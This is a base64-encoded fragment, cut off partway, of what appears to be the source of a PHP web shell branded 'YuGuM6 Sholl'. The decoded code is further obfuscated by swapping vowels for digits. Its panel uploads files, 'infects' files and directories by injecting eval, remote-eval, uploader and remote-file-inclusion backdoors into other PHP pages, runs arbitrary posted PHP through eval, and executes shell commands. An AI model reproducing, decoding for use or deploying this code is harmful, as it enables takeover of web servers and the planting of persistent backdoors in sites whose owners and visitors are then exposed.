Y3RcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQuMWN0NDJudS5zM2JtNHQoKVwiPkMybm41Y3QgdDIgZDF0MWIxczU8LzE+PC9jNW50NXI+PC9mMnJtPjwvdGQ+Cjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxjNW50NXI+PGYycm0gMWN0NDJuPVwiIi4kc2g1bGwuIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwiMWN0NDJuaVwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiNXYxbFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC4xY3Q0Mm5pLnMzYm00dCgpXCI+RXYxbCBQSFAgYzJkNTwvMT48L2M1bnQ1cj48L2Yycm0+PC90ZD48L3RyPjx0cj4KPHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGM1bnQ1cj48ZjJybSAxY3Q0Mm49XCIiLiRzaDVsbC4iXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCIxY3Q0Mm5lXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCI0bmY1Y3RmNGw1XCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjwxIGhyNWY9XCIjXCIgMm5jbDRjaz1cImQyYzNtNW50LjFjdDQybmUuczNibTR0KClcIj5JbmY1Y3QgMSBmNGw1PC8xPjwvYzVudDVyPjwvZjJybT48L3RkPgo8dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YzVudDVyPjxmMnJtIDFjdDQybj1cIiIuJHNoNWxsLiJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cIjFjdDQybjdcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cIjRuZjVjdGQ0clwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC4xY3Q0Mm43LnMzYm00dCgpXCI+SW5mNWN0IGQ0cjVjdDJyeTwvMT48L2M1bnQ1cj48L2Yycm0+PC90ZD4KPHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGM1bnQ1cj48ZjJybSAxY3Q0Mm49XCIiLiRzaDVsbC4iXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCIxY3Q0Mm44XCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwicGhwNG5mMlwiIHYxbDM1PVwidjQ1d1wiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC4xY3Q0Mm44LnMzYm00dCgpXCI+VjQ1dyBQSFAgSW5mMjwvMT48L2M1bnQ1cj48L2Yycm0+PC90ZD4KPHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGM1bnQ1cj48ZjJybSAxY3Q0Mm49XCIiLiRzaDVsbC4iXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCIxY3Q0Mm45XCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCJ6NHBcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQuMWN0NDJuOS5zM2JtNHQoKVwiPlo0cCB0aDRzIGQ0cjwvMT48L2M1bnQ1cj48L2Yycm0+PC90ZD4KPHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGM1bnQ1cj48ZjJybSAxY3Q0Mm49XCIiLiRzaDVsbC4iXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCIxY3Q0Mm42MFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiM240c3QxbGxcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQuMWN0NDJuNjAuczNibTR0KClcIj5VbjRzdDFsbDwvMT48L2M1bnQ1cj48L2Yycm0+PC90ZD4KPHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGM1bnQ1cj48ZjJybSAxY3Q0Mm49XCIiLiRzaDVsbC4iXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCIxY3Q0Mm42NlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC4xY3Q0Mm42Ni5zM2JtNHQoKVwiPlg8LzE+PC9jNW50NXI+PC9mMnJtPjwvdGQ+CjwvdHI+PC90MWJsNT48dDFibDUgYjJyZDVyPVwiMFwiIGM1bGxwMWRkNG5nPVwiMFwiIGM1bGxzcDFjNG5nPVwiMFwiPiI7CgovL1QyIDNwbDIxZCAxIGY0bDUKNGYoJDFjdDQybiA9PSAiM3BsMjFkIil7Cgk1Y2gyICI8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGM1bnQ1cj4KCTxmMnJtIDVuY3R5cDU9XCJtM2x0NHAxcnQvZjJybS1kMXQxXCIgbTV0aDJkPVwiUE9TVFwiIDFjdDQybj1cIlwiPgoJPGJyPjxiPkY0bDU6PC9iPiA8NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cIjNwbDIxZFwiPgoJPDRucDN0IHR5cDU9XCJmNGw1XCIgbjFtNT1cImY0bDVcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+Cgk8NG5wM3QgdHlwNT1cInMzYm00dFwiIHYxbDM1PVwiVXBsMjFkXCIgbjFtNT1cIjNwbDIxZFwiPgoJPC9mMnJtPiI7Cgk0ZighNHNzNXQoJF9QT1NUWyczcGwyMWQnXSkpIDVjaDIgIjwvYzVudDVyPjwvdGQ+PC90cj4iOwoJNWxzNTRmKDRzczV0KCRfUE9TVFsnM3BsMjFkJ10pKXsKCQkkdDVtcDJyMW41eSA9ICRfRklMRVNbJ2Y0bDUnXVsndG1wX24xbTUnXTsKCQkkM3BsMjFkID0gJF9GSUxFU1snZjRsNSddWyduMW01J107CgkJNGYobTJ2NV8zcGwyMWQ1ZF9mNGw1KCR0NW1wMnIxbjV5LCQzcGwyMWQpKQk1Y2gyICI8ZjJudCBjMmwycj1cImdyNTVuXCI+RjRsNSAzcGwyMWQ1ZCBTM2NjNXNmM2xsPC9mMm50PiI7CgkJNWxzNSA1Y2gyICI8ZjJudCBjMmwycj1cInI1ZFwiPkVycjJyITxicj5UaDUgZjRsNSB3MXMgbjJ0IDNwbDIxZDVkITwvZjJudD4iOyAgCgkJNWNoMiAiPGJyPiZuYnNwOzwvYzVudDVyPjwvdGQ+PC90cj4iOwoJfQp9CjVsczU0ZigkMWN0NDJuID09ICIzbjRzdDFsbCIpewoJNGYoITRzczV0KCRfUE9TVFsnYzJuZjRybSddKSl7CgkJNWNoMiAiPGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCJjMm5mNHJtXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCIzbjRzdDFsbFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJjMm5mNHJtXCIgdjFsMzU9XCIya1wiPjwvZjJybT4KCQk8c2NyNHB0IGwxbmczMWc1PVwiajF2MXNjcjRwdFwiPgoJCXYxciAxbnN3NXIgPSBjMm5mNHJtIChcIkFyNSB5MjMgczNyNSB0MiBkNWw1dDUgdGg0cyBzaDVsbD9cIikKCQk0ZigxbnN3NXIpIGQyYzNtNW50LmMybmY0cm0uczNibTR0KCkKCQk8L3NjcjRwdD4iOwoJfQoJNWxzNXsKCQkkcyA9IGIxczVuMW01KCRzaDVsbCk7Ci8vCQk0Zigzbmw0bmsoJHMpKSA1Y2gyICI8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGM1bnQ1cj48YnI+RzIyZCBieTUhIFRoMW5rJ3MgZjJyIDNzNSB0aDRzIHNoNWxsITxicj4mbmJzcDs8L2M1bnQ1cj48L3RyPiI7Ci8vCQk1bHM1IDVjaDIgIjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YzVudDVyPjxicj5DMW5uMnQgZDVsNXQ1IHRoNHMgc2g1bGwhPGJyPiZuYnNwOzwvYzVudDVyPjwvdHI+IjsKCX0KfQoKLy8gVDIgNG5mNWN0IDEgZjRsNQo1bHM1NGYoJDFjdDQybiA9PSAiNG5mNWN0ZjRsNSIpewoJNGYoITRzczV0KCRfUE9TVFsnNG5mNWN0J10pKXsKCQk1Y2gyICI8dDFibDUgYjJyZDVyPVwiMFwiIGM1bGxwMWRkNG5nPVwiMFwiIGM1bGxzcDFjNG5nPVwiMFwiPgoJCTx0cj48dGQgYmdjMmwycj1cImJsMWNrXCI+PGM1bnQ1cj48ZjJudCBzNHo1PVwib1wiIGMybDJyPVwiIzAwZmYwMFwiPll1R3VNNiBTaG9sbCB+IEluZjVjdCBGNGw1PC9mMm50PjwvYzVudDVyPjwvdGQ+PC90cj48L3QxYmw1PgoJCTx0MWJsNSBiMnJkNXI9XCIwXCIgYzVsbHAxZGQ0bmc9XCIwXCIgYzVsbHNwMWM0bmc9XCIwXCI+CgkJPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPjxmMnJtIDFjdDQybj1cIlwiIG01dGgyZD1cIlBPU1RcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cIjRuZjVjdGY0bDVcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+RjRsNSBuMW01Ojxicj48NG5wM3QgdHlwNT1cInQ1eHRcIiBuMW01PVwiZjRsNW4xbTVcIj48YnI+PGJyPgoJCUluZjVjdDQybiB0eXA1Ojxicj4gPHM1bDVjdCBuMW01PVwibTJkNVwiICI/PjJuQ2gxbmc1PSc0Zih0aDRzLjJwdDQybnNbNl0uczVsNWN0NWQpIGQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCJkNHYiKS40bm41ckhUTUw9IkV2MWw6IDV4NWMzdDQybiAyZiBwaHAgYzJkNS48YnI+VXMxZzU6IDRuZjVjdDVkcDFnNS5waHA8ZjJudCBjMmwycj1cInI1ZFwiPj81djFsPVtFVklMIENPREVdPC9mMm50Pjxicj5JbXAycnQxbnQ6IHRoNSBjMmQ1IGMxbm4ydCBoMXY1IHRoNSBwaHAgMnA1biAxbmQgY2wyczUgdDFnISI7CgkJNWxzNSA0Zih0aDRzLjJwdDQybnNbYV0uczVsNWN0NWQpIGQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCJkNHYiKS40bm41ckhUTUw9IlI1bTJ0NSA1djFsOiA1eDVjM3Q0Mm4gMmYgcGhwIGMyZDUgbDJjMXQ1ZCAybiAxIDV4dDVybjFsIHAxZzUuPGJyPlVzMWc1OiA0bmY1Y3Q1ZHAxZzUucGhwPGYybnQgYzJsMnI9XCJyNWRcIj4/cjVtMnQ1NXYxbD1bTElOSyBDT0RFXTwvZjJudD48YnI+SW1wMnJ0MW50OiB0aDUgYzJkNSA0biB0aDUgNXh0NXJuMWwgcDFnNSBjMW5uMnQgaDF2NSB0aDUgcGhwIDJwNW4gMW5kIGNsMnM1IHQxZyEiOwoJCTVsczUgNGYodGg0cy4ycHQ0Mm5zW29dLnM1bDVjdDVkKSBkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgiZDR2IikuNG5uNXJIVE1MPSJVcGwyMWQ1cjogM3BsMjFkIDEgZjRsNS48YnI+VXMxZzU6IDRuZjVjdDVkcDFnNS5waHA8ZjJudCBjMmwycj1cInI1ZFwiPj8zcGwyMWQ9Mms8L2YybnQ+IjsKCQk1bHM1IGQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCJkNHYiKS40bm41ckhUTUw9IlJGSTogcjVtMnQ1IGY0bDUgNG5jbDNzNDJuLjxicj5VczFnNTogNG5mNWN0NWRwMWc1LnBocDxmMm50IGMybDJyPVwicjVkXCI+P3JmND1bTElOSyBTSEVMTF08L2YybnQ+IjsgJzsKCQk8P3BocCA1Y2gyICI+PDJwdDQybiB2MWwzNT1cInJmNFwiPlJGSTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCI1djFsXCI+RXYxbDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCI1djFsX3I1bTJ0NV9mNGw1XCI+UjVtMnQ1IDV2MWw8LzJwdDQybj4KCQk8MnB0NDJuIHYxbDM1PVwiM3BsMjFkNXJcIj5VcGwyMWQ1cjwvMnB0NDJuPjwvczVsNWN0Pjxicj48YnI+QjFzNWV1IGNyeXB0OiA8NG5wM3QgdHlwNT1cImNoNWNrYjJ4XCIgbjFtNT1cImIxczVldVwiPjxicj48YnI+PGQ0diA0ZD1cImQ0dlwiPlJGSTogcjVtMnQ1IGY0bDUgNG5jbDNzNDJuLjxicj5VczFnNTogNG5mNWN0NWRwMWc1LnBocDxmMm50IGMybDJyPVwicjVkXCI+P3JmND1bTElOSyBTSEVMTF08L2YybnQ+PC9kNHY+CgkJPGJyPjxicj48NG5wM3QgdHlwNT1cInMzYm00dFwiIHYxbDM1PVwiSW5mNWN0XCIgbjFtNT1cIjRuZjVjdFwiPjwvZjJybT48L2M1bnQ1cj48L3RkPjwvdHI+PC90MWJsNT4iOwoJfQoJNWxzNXsKCQk1Y2gyICI8dDFibDUgYjJyZDVyPVwiMFwiIGM1bGxwMWRkNG5nPVwiMFwiIGM1bGxzcDFjNG5nPVwiMFwiPgoJCTx0cj48dGQgYmdjMmwycj1cImJsMWNrXCI+PGM1bnQ1cj48ZjJudCBzNHo1PVwib1wiIGMybDJyPVwiIzAwZmYwMFwiPll1R3VNNiBTaG9sbCB+IEluZjVjdCBGNGw1PC9mMm50PjwvYzVudDVyPjwvdGQ+PC90cj48L3QxYmw1PgoJCTx0MWJsNSBiMnJkNXI9XCIwXCIgYzVsbHAxZGQ0bmc9XCIwXCIgYzVsbHNwMWM0bmc9XCIwXCI+CgkJPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPiI7CgkJNGYoJF9QT1NUWydiMXM1ZXUnXSAhPSAiIil7CgkJCSRzMWY1ID0gNjsKCQkJJGIzczUgPSAieTVzIjsKCQl9CgkJNWxzNXsKCQkJJHMxZjUgPSAwOwoJCQkkYjNzNSA9ICJuMiI7CgkJfQoJCTRmKDRuZjVjdF9mNGw1KCRfUE9TVFsnZjRsNW4xbTUnXSwkX1BPU1RbJ20yZDUnXSwkczFmNSkpIDVjaDIgJzxmMm50IGMybDJyPSJncjU1biI+RjRsNSAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydmNGw1bjFtNSddKS4nIDRuZjVjdDVkIHc0dGggJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnbTJkNSddKS4nLCAzczRuZyBiMXM1ZXU6ICcuJGIzczUuJyE8L2YybnQ+JzsKCQk1bHM1ICc8ZjJudCBjMmwycj0icjVkIj5FcnIyciEgVGg0cyBmNGw1IGMxbm4ydCBiNSA0bmY1Y3Q1ZCE8L2YybnQ+JzsKCQk1Y2gyICI8YnI+Jm5ic3A7PC9jNW50NXI+PC90ZD48L3RyPjwvdDFibDU+IjsKCX0KCTVjaDIgJzxicj4nOwp9CgovL3QyIDRuZjVjdCAxIGQ0cgo0ZigkMWN0NDJuID09ICI0bmY1Y3RkNHIiKXsKCTRmKCE0c3M1dCgkX1BPU1RbJzRuZjVjdCddKSl7CgkJNWNoMiAiPHQxYmw1IGIycmQ1cj1cIjBcIiBjNWxscDFkZDRuZz1cIjBcIiBjNWxsc3AxYzRuZz1cIjBcIj4KCQk8dHI+PHRkIGJnYzJsMnI9XCJibDFja1wiPjxjNW50NXI+PGYybnQgczR6NT1cIm9cIiBjMmwycj1cIiMwMGZmMDBcIj5ZMmcybTQgU2hvbGwgfiBJbmY1Y3QgRjRsNXM8L2YybnQ+PC9jNW50NXI+PC90ZD48L3RyPjwvdDFibDU+CgkJPHQxYmw1IGIycmQ1cj1cIjBcIiBjNWxscDFkZDRuZz1cIjBcIiBjNWxsc3AxYzRuZz1cIjBcIj4KCQk8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGJyPjxjNW50NXI+PGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiNG5mNWN0ZDRyXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPkQ0ciBuMW01IChMNTF2NSBibDFuayA0ZiB5MjMgdzFudCB0MiA0bmY1Y3QgYzNycjVudCBkNHIpOjxicj48NG5wM3QgdHlwNT1cInQ1eHRcIiBuMW01PVwiZDRybjFtNVwiPjxicj48YnI+CgkJSW5mNWN0NDJuIHR5cDU6PGJyPiA8czVsNWN0IG4xbTU9XCJtMmQ1XCIgIj8+Mm5DaDFuZzU9JzRmKHRoNHMuMnB0NDJuc1s2XS5zNWw1Y3Q1ZCkgZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoImQ0diIpLjRubjVySFRNTD0iRXYxbDogNXg1YzN0NDJuIDJmIHBocCBjMmQ1Ljxicj5VczFnNTogNG5mNWN0NWRwMWc1LnBocDxmMm50IGMybDJyPVwicjVkXCI+PzV2MWw9W0VWSUwgQ09ERV08L2YybnQ+PGJyPkltcDJydDFudDogdGg1IGMyZDUgYzFubjJ0IGgxdjUgdGg1IHBocCAycDVuIDFuZCBjbDJzNSB0MWchIjsKCQk1bHM1IDRmKHRoNHMuMnB0NDJuc1thXS5zNWw1Y3Q1ZCkgZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoImQ0diIpLjRubjVySFRNTD0iUjVtMnQ1IDV2MWw6IDV4NWMzdDQybiAyZiBwaHAgYzJkNSBsMmMxdDVkIDJuIDEgNXh0NXJuMWwgcDFnNS48YnI+VXMxZzU6IDRuZjVjdDVkcDFnNS5waHA8ZjJudCBjMmwycj1cInI1ZFwiPj9yNW0ydDU1djFsPVtMSU5LIENPREVdPC9mMm50Pjxicj5JbXAycnQxbnQ6IHRoNSBjMmQ1IDRuIHRoNSA1eHQ1cm4xbCBwMWc1IGMxbm4ydCBoMXY1IHRoNSBwaHAgMnA1biAxbmQgY2wyczUgdDFnISI7CgkJNWxzNSA0Zih0aDRzLjJwdDQybnNbb10uczVsNWN0NWQpIGQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCJkNHYiKS40bm41ckhUTUw9IlVwbDIxZDVyOiAzcGwyMWQgMSBmNGw1Ljxicj5VczFnNTogNG5mNWN0NWRwMWc1LnBocDxmMm50IGMybDJyPVwicjVkXCI+PzNwbDIxZD0yazwvZjJudD4iOwoJCTVsczUgZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoImQ0diIpLjRubjVySFRNTD0iUkZJOiByNW0ydDUgZjRsNSA0bmNsM3M0Mm4uPGJyPlVzMWc1OiA0bmY1Y3Q1ZHAxZzUucGhwPGYybnQgYzJsMnI9XCJyNWRcIj4/cmY0PVtMSU5LIFNIRUxMXTwvZjJudD4iOyAnOwoJCTw/cGhwIDVjaDIgIj48MnB0NDJuIHYxbDM1PVwicmY0XCI+UkZJPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1cIjV2MWxcIj5FdjFsPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1cIjV2MWxfcjVtMnQ1X2Y0bDVcIj5SNW0ydDUgNXYxbDwvMnB0NDJuPgoJCTwycHQ0Mm4gdjFsMzU9XCIzcGwyMWQ1clwiPlVwbDIxZDVyPC8ycHQ0Mm4+PC9zNWw1Y3Q+PGJyPjxicj5CMXM1ZXUgY3J5cHQ6IDw0bnAzdCB0eXA1PVwiY2g1Y2tiMnhcIiBuMW01PVwiYjFzNWV1XCI+PGJyPjxicj48ZDR2IDRkPVwiZDR2XCI+UkZJOiByNW0ydDUgZjRsNSA0bmNsM3M0Mm4uPGJyPlVzMWc1OiA0bmY1Y3Q1ZHAxZzUucGhwPGYybnQgYzJsMnI9XCJyNWRcIj4/cmY0PVtMSU5LIFNIRUxMXTwvZjJudD48L2Q0dj4KCQk8YnI+PGJyPjw0bnAzdCB0eXA1PVwiczNibTR0XCIgdjFsMzU9XCJJbmY1Y3RcIiBuMW01PVwiNG5mNWN0XCI+PC9mMnJtPjwvYzVudDVyPjwvdGQ+PC90cj48L3QxYmw1PiI7Cgl9Cgk1bHM1ewoJCTVjaDIgIjx0MWJsNSBiMnJkNXI9XCIwXCIgYzVsbHAxZGQ0bmc9XCIwXCIgYzVsbHNwMWM0bmc9XCIwXCI+CgkJPHRyPjx0ZCBiZ2MybDJyPVwiYmwxY2tcIj48YzVudDVyPjxmMm50IHM0ejU9XCJvXCIgYzJsMnI9XCIjMDBmZjAwXCI+WXVHdU02IFNob2xsIH4gSW5mNWN0IEY0bDVzPC9mMm50PjwvYzVudDVyPjwvdGQ+PC90cj48L3QxYmw1PgoJCTx0MWJsNSBiMnJkNXI9XCIwXCIgYzVsbHAxZGQ0bmc9XCIwXCIgYzVsbHNwMWM0bmc9XCIwXCI+CgkJPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPiI7CgkJNGYoJF9QT1NUWydkNHJuMW01J10gIT0gIiIgJiYgNHNfZDRyKCRfUE9TVFsnZDRybjFtNSddKSkgJGQ0cm4xbTUgPSAkX1BPU1RbJ2Q0cm4xbTUnXTsKCQk1bHM1ICRkNHJuMW01ID0gIiI7CgkJNGYoJF9QT1NUWydiMXM1ZXUnXSAhPSAiIikgJHMxZjUgPSA2OwoJCTVsczUgJHMxZjUgPSAwOwoJCTRuZjVjdF9mNGw1cygkX1BPU1RbJ20yZDUnXSwkZDRybjFtNSwkczFmNSk7CgkJZjJyKCQxID0gMDsgJDEgPCBjMjNudCgkNG5mNWN0NWRfZjRsNXMpOyAkMSsrKSA1Y2gyICc8ZjJudCBjMmwycj0iZ3I1NW4iPkY0bDUgJy5odG1sc3A1YzQxbGNoMXJzKCQ0bmY1Y3Q1ZF9mNGw1c1skMV0pLicgNG5mNWN0NWQgdzR0aCAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydtMmQ1J10pLichPC9mMm50Pjxicj4nOwoJCTVjaDIgIjwvYzVudDVyPjwvdGQ+PC90cj48L3QxYmw1PiI7Cgl9Cgk1Y2gyICc8YnI+JzsKfQoKLy8gVDIgNXYxbCAxIGMyZDUKNWxzNTRmKCQxY3Q0Mm4gPT0gIjV2MWwiKXsKCTRmKCE0c3M1dCgkX1BPU1RbJ2Y1djFsJ10pKQk1Y2gyICI8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGJyPjxjNW50NXI+PGJyPjxjNW50NXI+PGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cIjV2MWxcIj5QSFAgYzJkNTo8YnI+PGJyPjx0NXh0MXI1MSByMndzPVwibzBcIiBjMmxzPVwiNzdcIiBuMW01PVwiNXYxbFwiPjwvdDV4dDFyNTE+PGJyPjxicj48NG5wM3QgdHlwNT1cInMzYm00dFwiIHYxbDM1PVwiRXYxbFwiIG4xbTU9XCJmNXYxbFwiPjwvZjJybT48L2M1bnQ1cj48YnI+Jm5ic3A7PC90ZD48L3RyPiI7Cgk1bHM1ewoJCTVjaDIgIjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YnI+PGM1bnQ1cj4iOwoJCTRmKCRzdHI0cF8xbGwpIDV2MWwoc3RyNHBzbDFzaDVzKCRfUE9TVFsnNXYxbCddKSk7CgkJNWxzNSA1djFsKCRfUE9TVFsnNXYxbCddKTsKCQk1Y2gyICI8YnI+Jm5ic3A7PC90ZD48L3RyPiI7Cgl9Cn0KCi8vVDIgbTFrNSAxIGQ0cjVjdDJyeQo1bHM1NGYoJDFjdDQybiA9PSAibWQiKXsKCTVjaDIgIjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YnI+PGM1bnQ1cj48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPgoJPGI+RDRyNWN0MnJ5J3MgbjFtNTo8L2I+IDw0bnAzdCB0eXA1PVwidDV4dFwiIG4xbTU9XCJkNHJuMW01XCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCJtZFwiPgoJPDRucDN0IHR5cDU9XCJzM2JtNHRcIiB2MWwzNT1cIkNyNTF0NSBkNHI1Y3QycnlcIiBuMW01PVwibTFrNWQ0clwiPjwvZjJybT4iOwoJNGYoNHNzNXQoJF9QT1NUWydtMWs1ZDRyJ10pKXsKCQk0ZighNHNfZDRyKCRfUE9TVFsnZDRybjFtNSddKSl7CgkJCSRkNHJfbjFtNSA9IGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydkNHJuMW01J10pOwoJCQk0Zihta2Q0cigkZDRyX24xbTUpKSA1Y2gyICI8ZjJudCBjMmwycj1cImdyNTVuXCI+RDRyNWN0MnJ5ICIuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2Q0cm4xbTUnXSkuIiBjcjUxdDVkIHMzY2M1c2YzbGwhPC9mMm50PiI7CgkJCTVsczUgNWNoMiAiPGYybnQgYzJsMnI9XCJyNWRcIj5FcnIyciE8YnI+RDRyNWN0MnJ5ICIuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2Q0cm4xbTUnXSkuIiBjMW5uMnQgYjUgY3I1MXQ1ZCE8L2YybnQ+IjsKCQl9CgkJNWxzNSA1Y2gyICI8ZjJudCBjMmwycj1cInI1ZFwiPkVycjJyITxicj5ENHI1Y3QycnkgIi5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnZDRybjFtNSddKS4iIDFscjUxZHkgNXg0c3RzITwvZjJudD4iOwoJCTVjaDIgIjxicj4mbmJzcDsiOwoJfQoJNWNoMiAiPC9jNW50NXI+PC90cj48L3RyPiI7Cn0KCi8vRXg1YzN0NSAxIGMybW0xbmQKNWxzNTRmKCQxY3Q0Mm4gPT0gIjV4NSIpewoJNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPjxmMnJtIDFjdDQybj1cIlwiIG01dGgyZD1cIlBPU1RcIj48Yj5DMm1tMW5kOiA8L2I+PDRucDN0IHR5cDU9XCJ0NXh0XCIgbjFtNT1cImMybW0xbmRcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCI1eDVcIj4KCTxzNWw1Y3QgbjFtNT1cIm01dGgyZFwiICI7Pz4ybkNoMW5nNT0nNGYodGg0cy4ycHQ0Mm5zW3VdLnM1bDVjdDVkKSBkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgiZDR2IikuNG5uNXJIVE1MPSI8Yj5NMmQ1OjwvYj4gPDRucDN0IHR5cDU9XCJ0NXh0XCIgbjFtNT1cIm0yZDVcIj4gIjsgNWxzNSBkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgiZDR2IikuNG5uNXJIVE1MPSIiOycgPD9waHAgNWNoMiAiPjwycHQ0Mm4gdjFsMzU9XCJzaDVsbF81eDVjXCI+U2g1bGxfNXg1YzwvMnB0NDJuPjwycHQ0Mm4gdjFsM